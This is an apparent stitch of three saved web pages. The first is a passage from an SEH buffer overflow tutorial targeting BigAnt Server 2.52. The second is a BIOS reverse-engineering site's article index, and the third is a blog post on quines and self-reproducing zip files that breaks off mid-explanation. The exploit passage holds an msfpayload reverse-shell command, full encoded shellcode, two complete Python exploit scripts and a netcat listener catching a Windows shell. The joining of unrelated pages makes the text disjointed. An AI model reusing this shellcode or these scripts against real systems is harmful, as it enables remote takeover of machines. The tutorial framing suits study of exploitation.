>  "\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"  
>  "\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"  
>  "\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"  
>  "\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"  
>  "\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"  
>  "\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"  
>  "\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"  
>  "\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"  
>  "\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"  
>  "\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"  
>  "\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"  
>  "\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  
We will now use the comparememory.pl perl script to compare the two files
\(containing the contents of memory and the characters we sent in the buffer\)
to check for any other bad characters.  
  
Run the comparememory script \(make sure you mark it as execuable using chmod
+x first\)  
  

> user@bt4pf:~$ ./comparememory.pl memory.txt shellcode.txt  
>  Memory: 57 Shellcode: 25 at position 33  
>  Memory: 28 Shellcode: 26 at position 34  
>  Memory: 29 Shellcode: 27 at position 35  
>  Memory: 2a Shellcode: 28 at position 36  
>  ...
  
  
This spits out a long list of differences between the values in the two files,
and it appears that the first difference occurred with the character \x25 from
our "shellcode". When we look at this position in our memory dump it appears
that characters \x25, \x26 and \x27 are missing, and in their place is a
single \x57. This means that one or more of the characters \x25, \x26 and \x27
is bad.  
  
Lets test the assumption that \x25 is a bad character and generate a new
buffer to send to our application. We can then repeat the process we have just
performed to see whether the rest of the characters in the set will come
through as expected.  
  
We run generatecodes.pl as follows, place the output in our exploit, run it,
and compare the memory dump and shellcode as we did before.  
  

> user@bt4pf:~$ ./generatecodes.pl 00,0a,0d,20,25
  
This time when we compare the memory and "shellcode" using comparememory.pl,
we get no output, indicating that all characters send to the application in
our buffer were present in memory in the exact order that they were sent. It
looks like we know know of every bad character for our application
\x00\x0a\x0d \(which we assume as being bad because this is the case for the
majority of exploits where data is sent to the application in this fashion\),
and \x20\x25 which we have confirmed are bad by active verification.  
  
Generating Shellcode \(again\)  
  
Now that we have a complete list of bad characters for this exploit, we can
reencode our shellcode to avoid them all.  
  

> user@bt4pf:~$ msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d\x20\x25' -s 619 -t c  
>  \[\*\] x86/shikata\_ga\_nai succeeded with size 342 \(iteration=1\)  
>  
>  unsigned char buf\[\] =  
>  "\xdd\xc4\xd9\x74\x24\xf4\x31\xc9\x5a\xb1\x4f\xbe\xca\x98\x1f"  
>  "\x88\x83\xc2\x04\x31\x72\x16\x03\x72\x16\xe2\x3f\x64\xf7\x01"  
>  "\xbf\x95\x08\x72\x36\x70\x39\xa0\x2c\xf0\x68\x74\x27\x54\x81"  
>  "\xff\x65\x4d\x12\x8d\xa1\x62\x93\x38\x97\x4d\x24\x8d\x17\x01"  
>  "\xe6\x8f\xeb\x58\x3b\x70\xd2\x92\x4e\x71\x13\xce\xa1\x23\xcc"  
>  "\x84\x10\xd4\x79\xd8\xa8\xd5\xad\x56\x90\xad\xc8\xa9\x65\x04"  
>  "\xd3\xf9\xd6\x13\x9b\xe1\x5d\x7b\x3b\x13\xb1\x9f\x07\x5a\xbe"  
>  "\x54\xfc\x5d\x16\xa5\xfd\x6f\x56\x6a\xc0\x5f\x5b\x72\x05\x67"  
>  "\x84\x01\x7d\x9b\x39\x12\x46\xe1\xe5\x97\x5a\x41\x6d\x0f\xbe"  
>  "\x73\xa2\xd6\x35\x7f\x0f\x9c\x11\x9c\x8e\x71\x2a\x98\x1b\x74"  
>  "\xfc\x28\x5f\x53\xd8\x71\x3b\xfa\x79\xdc\xea\x03\x99\xb8\x53"  
>  "\xa6\xd2\x2b\x87\xd0\xb9\x23\x64\xef\x41\xb4\xe2\x78\x32\x86"  
>  "\xad\xd2\xdc\xaa\x26\xfd\x1b\xcc\x1c\xb9\xb3\x33\x9f\xba\x9a"  
>  "\xf7\xcb\xea\xb4\xde\x73\x61\x44\xde\xa1\x26\x14\x70\x1a\x87"  
>  "\xc4\x30\xca\x6f\x0e\xbf\x35\x8f\x31\x15\x40\x97\xa5\x56\xfb"  
>  "\x0c\x3e\x3f\xfe\x2c\x41\x04\x77\xca\x2b\x6a\xde\x44\xc3\x13"  
>  "\x7b\x1e\x72\xdb\x51\xb7\x17\x4e\x3e\x48\x5e\x73\xe9\x1f\x37"  
>  "\x45\xe0\xca\xa5\xfc\x5a\xe9\x34\x98\xa5\xa9\xe2\x59\x2b\x33"  
>  "\x67\xe5\x0f\x23\xb1\xe6\x0b\x17\x6d\xb1\xc5\xc1\xcb\x6b\xa4"  
>  "\xbb\x85\xc0\x6e\x2c\x50\x2b\xb1\x2a\x5d\x66\x47\xd2\xef\xdf"  
>  "\x1e\xec\xdf\xb7\x96\x95\x02\x28\x58\x4c\x87\x58\x13\xcd\xa1"  
>  "\xf0\xfa\x87\xf0\x9c\xfc\x7d\x36\x99\x7e\x74\xc6\x5e\x9e\xfd"  
>  "\xc3\x1b\x18\xed\xb9\x34\xcd\x11\x6e\x34\xc4\x18";
  
  
We paste this into our exploit  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "\x90" \* 962  
>  buffer+= "\xeb\x06\x90\x90" \#JMP SHORT 6, NOP Padding  
>  buffer+= "\x6A\x19\x9A\x0F" \# SEH Overwrite 0F9A196A POP EBP, POP EBX,
> RETN, vbajet32.dll  
>  buffer+= "\x90" \* 16 \# NOP padding before shellcode  
>  \# msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d\x20\x25' -s 619 -t c - x86/shikata\_ga\_nai - size 342 bytes  
>  buffer+= \("\xdd\xc4\xd9\x74\x24\xf4\x31\xc9\x5a\xb1\x4f\xbe\xca\x98\x1f"  
>  "\x88\x83\xc2\x04\x31\x72\x16\x03\x72\x16\xe2\x3f\x64\xf7\x01"  
>  "\xbf\x95\x08\x72\x36\x70\x39\xa0\x2c\xf0\x68\x74\x27\x54\x81"  
>  "\xff\x65\x4d\x12\x8d\xa1\x62\x93\x38\x97\x4d\x24\x8d\x17\x01"  
>  "\xe6\x8f\xeb\x58\x3b\x70\xd2\x92\x4e\x71\x13\xce\xa1\x23\xcc"  
>  "\x84\x10\xd4\x79\xd8\xa8\xd5\xad\x56\x90\xad\xc8\xa9\x65\x04"  
>  "\xd3\xf9\xd6\x13\x9b\xe1\x5d\x7b\x3b\x13\xb1\x9f\x07\x5a\xbe"  
>  "\x54\xfc\x5d\x16\xa5\xfd\x6f\x56\x6a\xc0\x5f\x5b\x72\x05\x67"  
>  "\x84\x01\x7d\x9b\x39\x12\x46\xe1\xe5\x97\x5a\x41\x6d\x0f\xbe"  
>  "\x73\xa2\xd6\x35\x7f\x0f\x9c\x11\x9c\x8e\x71\x2a\x98\x1b\x74"  
>  "\xfc\x28\x5f\x53\xd8\x71\x3b\xfa\x79\xdc\xea\x03\x99\xb8\x53"  
>  "\xa6\xd2\x2b\x87\xd0\xb9\x23\x64\xef\x41\xb4\xe2\x78\x32\x86"  
>  "\xad\xd2\xdc\xaa\x26\xfd\x1b\xcc\x1c\xb9\xb3\x33\x9f\xba\x9a"  
>  "\xf7\xcb\xea\xb4\xde\x73\x61\x44\xde\xa1\x26\x14\x70\x1a\x87"  
>  "\xc4\x30\xca\x6f\x0e\xbf\x35\x8f\x31\x15\x40\x97\xa5\x56\xfb"  
>  "\x0c\x3e\x3f\xfe\x2c\x41\x04\x77\xca\x2b\x6a\xde\x44\xc3\x13"  
>  "\x7b\x1e\x72\xdb\x51\xb7\x17\x4e\x3e\x48\x5e\x73\xe9\x1f\x37"  
>  "\x45\xe0\xca\xa5\xfc\x5a\xe9\x34\x98\xa5\xa9\xe2\x59\x2b\x33"  
>  "\x67\xe5\x0f\x23\xb1\xe6\x0b\x17\x6d\xb1\xc5\xc1\xcb\x6b\xa4"  
>  "\xbb\x85\xc0\x6e\x2c\x50\x2b\xb1\x2a\x5d\x66\x47\xd2\xef\xdf"  
>  "\x1e\xec\xdf\xb7\x96\x95\x02\x28\x58\x4c\x87\x58\x13\xcd\xa1"  
>  "\xf0\xfa\x87\xf0\x9c\xfc\x7d\x36\x99\x7e\x74\xc6\x5e\x9e\xfd"  
>  "\xc3\x1b\x18\xed\xb9\x34\xcd\x11\x6e\x34\xc4\x18"\)  
>  buffer+= "\x90" \* \(2504 - len\(buffer\)\)  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
  
Now lets get our listener running  
  

> root@giraffe:/tmp\# nc -nvvlp 443  
>  listening on \[any\] 443 ...
  
  
Now we restart the debugger and antserver, and trigger the exploit.  
  
And look what happens to our listener - we have a shell\!  
  

> root@giraffe:/tmp\# nc -nvvlp 443  
>  listening on \[any\] 443 ...  
>  connect to \[192.168.20.11\] from \(UNKNOWN\) \[192.168.10.27\] 1212  
>  Microsoft Windows XP \[Version 5.1.2600\]  
>  \(C\) Copyright 1985-2001 Microsoft Corp.  
>  
>  C:\WINDOWS\system32>
  
You can run antserver outside of the debugger to test it if you like, and you
should still get the same shell back. If you run this too many times you may
end up with a zombie antserver process here \(a process which won't respond
and which you can't kill\), which will necessitate that you restart the
system.  
  
Something slightly more challenging...  
  
Earlier on I mentioned that we could use the memory space either before or
after our overwrite address to locate our shellcode in. This is not often the
case for SEH exploits, in fact it is far more common for there to be very
limited usable space in memory after the SEH overwrite address. What we need
to do in this case is to move execution back in memory to our buffer before
the SEH overwrite.  
  
Seeing as we had to jump forward 6 bytes to get out of our four byte space
before its tempting to think we can just do the same by jumping backwards
however many bytes to the start of the buffer. We cant do this using a SHORT
JUMP however, as this type of JUMP only allows us to JUMP backwards 128 bytes
or forwards 127 bytes relative to the current value of EIP.  
  
We could use a different type of relative JUMP - a NEAR JUMP - to do something
similar, although there are some caveats with this. First of all the value
that you provide to a NEAR JUMP instruction to determine how far to jump and
in what direction will vary depending on a value called the operand size,
which can be either 16 or 32 bits. The operand size is based on a value called
the D-bit in the CS segment register which is set per code segment. So this
means that we cant use the NEAR JUMP instruction to generate universal binary
jump code, because of the fact that the code will be interpreted differently
depending on characteristics of the environment in which the code runs. In
addition, forward jumps within the range of values usually used in
exploitation will need to use jump values that contain zero bytes, which are
almost always bad characters.  
  
Consequently, we will avoid using NEAR JUMPS, and we can instead use some jump
code that I developed inspired by phrack \#62 Article 7 by Aaron Adams and
this security forest article on SEH exploitation.  
  
The code is shown below, and works based on the fact that after taking the
original POP, POP, RETN to jump into the four byte space before the SEH
Overwrite, another pointer to the same memory location exists three places
down on the stack. We basically get this memory address into the ECX register,
decrement the CH register by 1 three times \(which has the affect of
decreasing ECX by a total of 768 or three times 256 since CH represents the
second least significant byte of ECX\), and then JUMP to ECX. This moves us
back 768 bytes from the location where the original POP, POP, RETN instruction
lands, and gives us more than enough space to use most Windows shellcode. At
11 bytes it is also very compact and will fit into very small buffer areas.  
  
"\x59\x59\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1"  
  

> 11 bytes  
>  POP ECX \x59  
>  POP ECX \x59  
>  POP ECX \x59  
>  DEC CH \xfe\xcd  
>  DEC CH \xfe\xcd  
>  DEC CH \xfe\xcd  
>  JMP ECX \xff\xe1
  
  
This jumpcode takes up 11 bytes of space and we can place it in our buffer
immediately after our SEH overwrite in order to get back into the section of
the buffer before our SEH overwrite. We simply take 768 away from the offset
we know to point to the four byte space before the SEH overwrite \(962\) to
determine exactly where our jump will land - 194 bytes from the start of the
buffer. We then rewrite our exploit to move our shellcode into the first area
of the buffer \(at the correct offset\), and we add the jumpcode immediately
after the SEH overwrite.  
  

> \#\!/usr/bin/python  
>  import socket  
>  
>  target\_address="192.168.10.27"  
>  target\_port=6660  
>  
>  buffer = "USV "  
>  buffer+= "\x90" \* 194  
>  buffer+= "\x90" \* 16 \# Jump code lands here on 16 NOPS  
>  \# msfpayload windows/shell\_reverse\_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d\x20\x25' -s 619 -t c - x86/shikata\_ga\_nai - size 342 bytes  
>  buffer+= \("\xdd\xc4\xd9\x74\x24\xf4\x31\xc9\x5a\xb1\x4f\xbe\xca\x98\x1f"  
>  "\x88\x83\xc2\x04\x31\x72\x16\x03\x72\x16\xe2\x3f\x64\xf7\x01"  
>  "\xbf\x95\x08\x72\x36\x70\x39\xa0\x2c\xf0\x68\x74\x27\x54\x81"  
>  "\xff\x65\x4d\x12\x8d\xa1\x62\x93\x38\x97\x4d\x24\x8d\x17\x01"  
>  "\xe6\x8f\xeb\x58\x3b\x70\xd2\x92\x4e\x71\x13\xce\xa1\x23\xcc"  
>  "\x84\x10\xd4\x79\xd8\xa8\xd5\xad\x56\x90\xad\xc8\xa9\x65\x04"  
>  "\xd3\xf9\xd6\x13\x9b\xe1\x5d\x7b\x3b\x13\xb1\x9f\x07\x5a\xbe"  
>  "\x54\xfc\x5d\x16\xa5\xfd\x6f\x56\x6a\xc0\x5f\x5b\x72\x05\x67"  
>  "\x84\x01\x7d\x9b\x39\x12\x46\xe1\xe5\x97\x5a\x41\x6d\x0f\xbe"  
>  "\x73\xa2\xd6\x35\x7f\x0f\x9c\x11\x9c\x8e\x71\x2a\x98\x1b\x74"  
>  "\xfc\x28\x5f\x53\xd8\x71\x3b\xfa\x79\xdc\xea\x03\x99\xb8\x53"  
>  "\xa6\xd2\x2b\x87\xd0\xb9\x23\x64\xef\x41\xb4\xe2\x78\x32\x86"  
>  "\xad\xd2\xdc\xaa\x26\xfd\x1b\xcc\x1c\xb9\xb3\x33\x9f\xba\x9a"  
>  "\xf7\xcb\xea\xb4\xde\x73\x61\x44\xde\xa1\x26\x14\x70\x1a\x87"  
>  "\xc4\x30\xca\x6f\x0e\xbf\x35\x8f\x31\x15\x40\x97\xa5\x56\xfb"  
>  "\x0c\x3e\x3f\xfe\x2c\x41\x04\x77\xca\x2b\x6a\xde\x44\xc3\x13"  
>  "\x7b\x1e\x72\xdb\x51\xb7\x17\x4e\x3e\x48\x5e\x73\xe9\x1f\x37"  
>  "\x45\xe0\xca\xa5\xfc\x5a\xe9\x34\x98\xa5\xa9\xe2\x59\x2b\x33"  
>  "\x67\xe5\x0f\x23\xb1\xe6\x0b\x17\x6d\xb1\xc5\xc1\xcb\x6b\xa4"  
>  "\xbb\x85\xc0\x6e\x2c\x50\x2b\xb1\x2a\x5d\x66\x47\xd2\xef\xdf"  
>  "\x1e\xec\xdf\xb7\x96\x95\x02\x28\x58\x4c\x87\x58\x13\xcd\xa1"  
>  "\xf0\xfa\x87\xf0\x9c\xfc\x7d\x36\x99\x7e\x74\xc6\x5e\x9e\xfd"  
>  "\xc3\x1b\x18\xed\xb9\x34\xcd\x11\x6e\x34\xc4\x18"\)  
>  buffer+= "\x90" \* \(966 - len\(buffer\)\) \# 962 + 4 to account for "USV "
> is offset  
>  buffer+= "\xeb\x06\x90\x90" \# JMP SHORT 6, NOP Padding  
>  buffer+= "\x6A\x19\x9A\x0F" \# SEH Overwrite 0F9A196A POP EBP, POP EBX,
> RETN, vbajet32.dll  
>  buffer+= "\x59\x59\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1" \# 11 bytes, pop
> ecx \* 3, dec ch \(take 256 from ecx\) \* 3, jmp ecx  
>  buffer+= "\x90" \* \(2504 - len\(buffer\)\)  
>  buffer+= "\r\n\r\n"  
>  
>  sock=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
>  connect=sock.connect\(\(target\_address,target\_port\)\)  
>  sock.send\(buffer\)  
>  sock.close\(\)
  
Thats it, a complete exploit\!  
  
References  
  
Here is a list of references that I used in creating this tutorial. Have a
read of some of them if you want to learn more about SEH overwrites and buffer
overflows in general.  
  
Intel Architecture Software Developer’s Manual Volume 2: Instruction Set
Reference  
http://www.securityforest.com/wiki/index.php/Exploit:\_Stack\_Overflows\_-\_Exploiting\_SEH\_on\_win32  
http://en.wikipedia.org/wiki/Protected\_mode  
http://msdn.microsoft.com/en-us/library/9a89h429\(VS.80\).aspx  
http://www.openrce.org/downloads/details/244/OllySSEH  
http://web.archive.org/web/20080608015939/http://www.nabble.com/overwriting-
SEH-and-debugging-td14440307.html  
http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff\_v8.docx  
  
**Update**  
  
A quick litte update on this. I have written a quick post about whether my
various tutorials will work under XP SP3 here.  
  
If you are having problems reproducing the crash for this exploit ensure that
you have got the correct version of BigAnt installed. Remove any other version
of BigAnt Server 2.52 you may have installed and reinstall the verison that I
have linked to in the post above.

# Articles \(Pinczakko Official Website\)

**Created:**| _1/21/2010 5:58:57 PM_  
---|---  
**Updated:**| _1/21/2010 5:59:08 PM_  
**Author:**| __  
**Tags:**| _reversing bios_  
  

<img src='img/Temp2_878.jpg' alt='Logo' />|  Search this site  
---|---  
#### Navigation

  * Home
  * Articles 
    * Pinczakko's Guide to Award BIOS Reverse Engineering
    * Pinczakko's Guide to AMI BIOS Reverse Engineering
    * Award BIOS File Structure
    * Preliminary Bios Modification Guide
    * Advanced Award BIOS v4.51 PG Hacking
    * Award BIOS Code Injection
    * Award BIOS Patching
    * Building a "Kernel" in PCI Expansion ROM
    * Low Cost Embedded x86 Teaching Tool
    * Pinczakko's Guide to Self-patching Expansion ROM Source Code
    * A Bios Modification Journey
  * Source Code
  * Download
  * About
  * Sitemap

|

### Articles

| These are the articles available in this website:

  * Pinczakko's Guide to Award BIOS Reverse Engineering . The article explains the techniques to reverse engineer an Award BIOS.This article has been mirrored by anomalous-security here.
  * Award BIOS File Structure. Explains the general structure of an Award BIOS binary file.
  * Preliminary Bios Modification Guide. Explains how to modify an Award BIOS using a less intrusive \(read beginner\) methods.
  * Advanced Award BIOS v4.51 PG Hacking. Explains how to inject code to Award BIOS version 4.51 PG.
  * A Bios Modification Journey. A little bit of stories into my activity related to BIOS hacking and reverse engineering.

  
---  
  * 

**\_displayNameOrEmail\_** \- \_time\_ - Remove

\_text\_  
Sign in Terms Report Abuse Print page | **Powered byGoogle Sites**

# research\!rsc: Zip Files All The Way Down

**Created:**| _5/1/2010 7:19:13 AM_  
---|---  
**Updated:**| _5/1/2010 7:19:28 AM_  
**Author:**| __  
**Tags:**| _Hacks awesome_  
  

### Zip Files All The Way Down

Stephen Hawking begins  _A Brief History of Time_ with this story:

> A well-known scientist \(some say it was Bertrand Russell\) once gave a
> public lecture on astronomy. He described how the earth orbits around the
> sun and how the sun, in turn, orbits around the center of a vast collection
> of stars called our galaxy. At the end of the lecture, a little old lady at
> the back of the room got up and said: “What you have told us is rubbish. The
> world is really a flat plate supported on the back of a giant tortoise.” The
> scientist gave a superior smile before replying, “What is the tortoise
> standing on?” “You're very clever, young man, very clever,” said the old
> lady. “But it's turtles all the way down\!”
Scientists today are pretty sure that the universe is not actually turtles all
the way down, but we can create that kind of situation in other contexts. For
example, here we have video monitors all the way down and set theory books all
the way down, and shopping carts all the way down.

And here's a computer storage equivalent: look inside `r.zip`. It's zip files
all the way down: each one contains another zip file under the name `r/r.zip`.
\(For the die-hard Unix fans, `r.tar.gz` is gzipped tar files all the way
down.\) Like the line of shopping carts, it never ends, because it loops back
onto itself: the zip file contains itself\! And it's probably less work to put
together a self-reproducing zip file than to put together all those shopping
carts, at least if you're the kind of person who would read this blog. This
post explains how.

Before we get to self-reproducing zip files, though, we need to take a brief
detour into self-reproducing programs.

### Self-reproducing programs

The idea of self-reproducing programs dates back to the 1960s. My favorite
statement of the problem is the one Ken Thompson gave in his 1983 Turing Award
address:

> In college, before video games, we would amuse ourselves by posing
> programming exercises. One of the favorites was to write the shortest self-
> reproducing program. Since this is an exercise divorced from reality, the
> usual vehicle was FORTRAN. Actually, FORTRAN was the language of choice for
> the same reason that three-legged races are popular.
> More precisely stated, the problem is to write a source program that, when
> compiled and executed, will produce as output an exact copy of its source.
> If you have never done this, I urge you to try it on your own. The discovery
> of how to do it is a revelation that far surpasses any benefit obtained by
> being told how to do it. The part about “shortest” was just an incentive to
> demonstrate skill and determine a winner.
**Spoiler alert\!** I agree: if you have never done this, I urge you to try it
on your own. The internet makes it so easy to look things up that it's
refreshing to discover something yourself once in a while. Go ahead and spend
a few days figuring out. This blog will still be here when you get back. \(If
you don't mind the spoilers, the entire Turing award address is worth
reading.\)

  
  
_\(Spoiler blocker.\)_  
<img src='img/Temp2_10604.jpg' />  
 _http://www.robertwechsler.com/projects.html_  
  

Let's try to write a Python program that prints itself. It will probably be a
`print` statement, so here's a first attempt, run at the interpreter prompt:

[code]

    >>> print 'hello'
    hello
    
    
[/code]

That didn't quite work. But now we know what the program is, so let's print
it:

[code]

    >>> print "print 'hello'"
    print 'hello'
    
    
[/code]

That didn't quite work either. The problem is that when you execute a simple
print statement, it only prints part of itself: the argument to the print. We
need a way to print the rest of the program too.

The trick is to use recursion: you write a string that is the whole program,
but with itself missing, and then you plug it into itself before passing it to
print.

[code]

    >>> s = 'print %s'; print s % repr(s)
    print 'print %s'
    
    
[/code]

Not quite, but closer: the problem is that the string `s` isn't actually the
program. But now we know the general form of the program: `s = '%s'; print s %
repr(s)`. That's the string to use.

[code]

    >>> s = 's = %s; print s %% repr(s)'; print s % repr(s)
    s = 's = %s; print s %% repr(s)'; print s % repr(s)
    
    
[/code]

Recursion for the win.

This form of self-reproducing program is often called a quine, in honor of the
philosopher and logician W. V. O. Quine, who discovered the paradoxical
sentence:

> “Yields falsehood when preceded by its quotation”  
> yields falsehood when preceded by its quotation.
The simplest English form of a self-reproducing quine is a command like:

> Print this, followed by its quotation:  
> “Print this, followed by its quotation:”
There's nothing particularly special about Python that makes quining possible.
The most elegant quine I know is a Scheme program that is a direct, if
somewhat inscrutable, translation of that sentiment:

[code]

    ((lambda (x) `(,x ',x))
    '(lambda (x) `(,x ',x)))
    
    
[/code]

I think the Go version is a clearer translation, at least as far as the
quoting is concerned:

[code]

    /* Go quine */
    package main
    import "fmt"
    func main() {
     fmt.Printf("%s%c%s%c\n", q, 0x60, q, 0x60)
    }
    var q = `/* Go quine */
    package main
    import "fmt"
    func main() {
     fmt.Printf("%s%c%s%c\n", q, 0x60, q, 0x60)
    }
    var q = `
    
    
[/code]

\(I've colored the data literals green throughout to make it clear what is
program and what is data.\)

The Go program has the interesting property that, ignoring the pesky newline
at the end, the entire program is the same thing twice \(`/* Go quine */ ... q
= ``\). That got me thinking: maybe it's possible to write a self-reproducing
program using only a repetition operator. And you know what programming
language has essentially only a repetition operator? The language used to
encode Lempel-Ziv compressed files like the ones used by `gzip` and `zip`.

### Self-reproducing Lempel-Ziv programs

Lempel-Ziv compressed data is a stream of instructions with two basic opcodes:
`literal(`_n_`)`followed by  _n_ bytes of data means write those  _n_ bytes
into the decompressed output, and `repeat(`_d_`,`  _n_`)`means look backward
_d_ bytes from the current location in the decompressed output and copy the
_n_ bytes you find there into the output stream.

The programming exercise, then, is this: write a Lempel-Ziv program using just
those two opcodes that prints itself when run. In other words, write a
compressed data stream that decompresses to itself. Feel free to assume any
reasonable encoding for the `literal` and `repeat` opcodes. For the grand
prize, find a program that decompresses to itself surrounded by an arbitrary
prefix and suffix, so that the sequence could be embedded in an actual `gzip`
or `zip` file, which has a fixed-format header and trailer.

**Spoiler alert\!** I urge you to try this on your own before continuing to
read. It's a great way to spend a lazy afternoon, and you have one critical
advantage that I didn't: you know there is a solution.

  
  
_\(Spoiler blocker.\)_  
<img src='img/Temp2_10603.jpg' />  
 _http://www.robertwechsler.com/thebest.html_  
  

By the way, here's `r.gz`, gzip files all the way down.

[code]

    $ gunzip < r.gz > r
    $ cmp r r.gz
    $
    
    
[/code]

The nice thing about `r.gz` is that even broken web browsers that ordinarily
decompress downloaded gzip data before storing it to disk will handle this
file correctly\!

Enough stalling to hide the spoilers. Let's use this shorthand to describe
Lempel-Ziv instructions: `L` _n_ and `R` _n_ are shorthand for
`literal(`_n_`)` and `repeat(`_n_`,`  _n_`)`, and the program assumes that
each code is one byte. `L0` is therefore the Lempel-Ziv no-op; `L5` `hello`
prints `hello`; and so does `L3` `hel` `R1` `L1``o`.

Here's a Lempel-Ziv program that prints itself. \(Each line is one
instruction.\)

  
| | Code| | Output  
---|---|---|---|---  
 _no-op_| | `L0`| |   
 _no-op_| | `L0`| |   
 _no-op_| | `L0`| |   
 _print 4 bytes_| | `L4 L0 L0 L0 L4`| | `L0 L0 L0 L4`  
 _repeat last 4 printed bytes_| | `R4`| | `L0 L0 L0 L4`  
 _print 4 bytes_| | `L4 R4 L4 R4 L4`| | `R4 L4 R4 L4`  
 _repeat last 4 printed bytes_| | `R4`| | `R4 L4 R4 L4`  
 _print 4 bytes_| | `L4 L0 L0 L0 L0`| | `L0 L0 L0 L0`  
  

\(The two columns Code and Output contain the same byte sequence.\)

The interesting core of this program is the 6-byte sequence `L4 R4 L4 R4 L4
R4`, which prints the 8-byte sequence `R4 L4 R4 L4 R4 L4 R4 L4`. That is, it
prints itself with an extra byte before and after.

When we were trying to write the self-reproducing Python program, the basic
problem was that the print statement was always longer than what it printed.
We solved that problem with recursion, computing the string to print by
plugging it into itself. Here we took a different approach. The Lempel-Ziv
program is particularly repetitive, so that a repeated substring ends up
containing the entire fragment. The recursion is in the representation of the
program rather than its execution. Either way, that fragment is the crucial
point. Before the final `R4`, the output lags behind the input. Once it
executes, the output is one code ahead.

The `L0` no-ops are plugged into a more general variant of the program, which
can reproduce itself with the addition of an arbitrary three-byte prefix and
suffix:

  
| | Code| | Output  
---|---|---|---|---  
 _print 4 bytes_| | `L4  _aa bb cc_ L4`| | ` _aa bb cc_ L4`  
 _repeat last 4 printed bytes_| | `R4`| | ` _aa bb cc_ L4`  
 _print 4 bytes_| | `L4 R4 L4 R4 L4`| | `R4 L4 R4 L4`  
 _repeat last 4 printed bytes_| | `R4`| | `R4 L4 R4 L4`  
 _print 4 bytes_| | `L4 R4  _xx yy zz_`| | `R4  _xx yy zz_`  
 _repeat last 4 printed bytes_| | `R4`| | `R4  _xx yy zz_`  
  

\(The byte sequence in the Output column is ` _aa bb cc_`, then the byte
sequence from the Code column, then ` _xx yy zz_`.\)

It took me the better part of a quiet Sunday to get this far, but by the time
I got here I knew the game was over and that I'd won. From all that
experimenting, I knew it was easy to create a program fragment that printed
itself minus a few instructions or even one that printed an arbitrary prefix
and then itself, minus a few instructions. The extra `aa bb cc` in the output
provides a place to attach such a program fragment. Similarly, it's easy to
create a fragment to attach to the `xx yy zz` that prints itself, minus the
first three instructions, plus an arbitrary suffix. We can use that generality
to attach an appropriate header and trailer.

Here is the final program, which prints itself surrounded by an arbitrary
prefix and suffix. `[P]` denotes the  _p_ -byte compressed form of the prefix
`P`; similarly, `[S]` denotes the  _s_ -byte compressed form of the suffix
`S`.

  
| | Code| | Output  
---|---|---|---|---  
 _print prefix_| | `[P]`| | `P`  
 _print_ p _+1 bytes_| | `L` _p_ +1` [P] L` _p_ +1| | `[P] L` _p_ +1  
 _repeat last_ p _+1 printed bytes_| | `R` _p_ +1| | `[P] L` _p_ +1  
 _print 1 byte_| | `L1 R` _p_ +1| | `R` _p_ +1  
 _print 1 byte_| | `L1 L1`| | `L1`  
 _print 4 bytes_| | `L4 R` _p_ +1` L1 L1 L4`| | `R` _p_ +1` L1 L1 L4`  
 _repeat last 4 printed bytes_| | `R4`| | `R` _p_ +1` L1 L1 L4`  
 _print 4 bytes_| | `L4 R4 L4 R4 L4`| | `R4 L4 R4 L4`  
 _repeat last 4 printed bytes_| | `R4`| | `R4 L4 R4 L4`  
 _print 4 bytes_| | `L4 R4 L0 L0 L` _s_ +1| | `R4 L0 L0 L` _s_ +1  
 _repeat last 4 printed bytes_| | `R4`| | `R4 L0 L0 L` _s_ +1  
 _no-op_| | `L0`| |   
 _no-op_| | `L0`| |   
 _print_ s _+1 bytes_| | `L` _s_ +1` R` _s_ +1` [S]`| | `R` _s_ +1` [S]`  
_repeat last_ s _+1 bytes_| | `R` _s_ +1| | `R` _s_ +1` [S]`  
_print suffix_| | `[S]`| | `S`  
  

\(The byte sequence in the Output column is ` _P_`, then the byte sequence
from the Code column, then ` _S_`.\)

### Self-reproducing zip files

Now the rubber meets the road. We've solved the main theoretical obstacle to
making a self-reproducing zip file, but there are a couple practical obstacles
still in our way.

The first obstacle is to translate our self-reproducing Lempel-Ziv program,
written in simplified opcodes, into the real opcode encoding. RFC 1951
describes the DEFLATE format used in both gzip and zip: a sequence of blocks,
each of which is a sequence of opcodes encoded using Huffman codes. Huffman
codes assign different length bit strings to different opcodes, breaking our
assumption above that opcodes have fixed length. But wait\! We can, with some
care, find a set of fixed-size encodings that says what we need to be able to
express.

In DEFLATE, there are literal blocks and opcode blocks. The header at the
beginning of a literal block is 5 bytes:

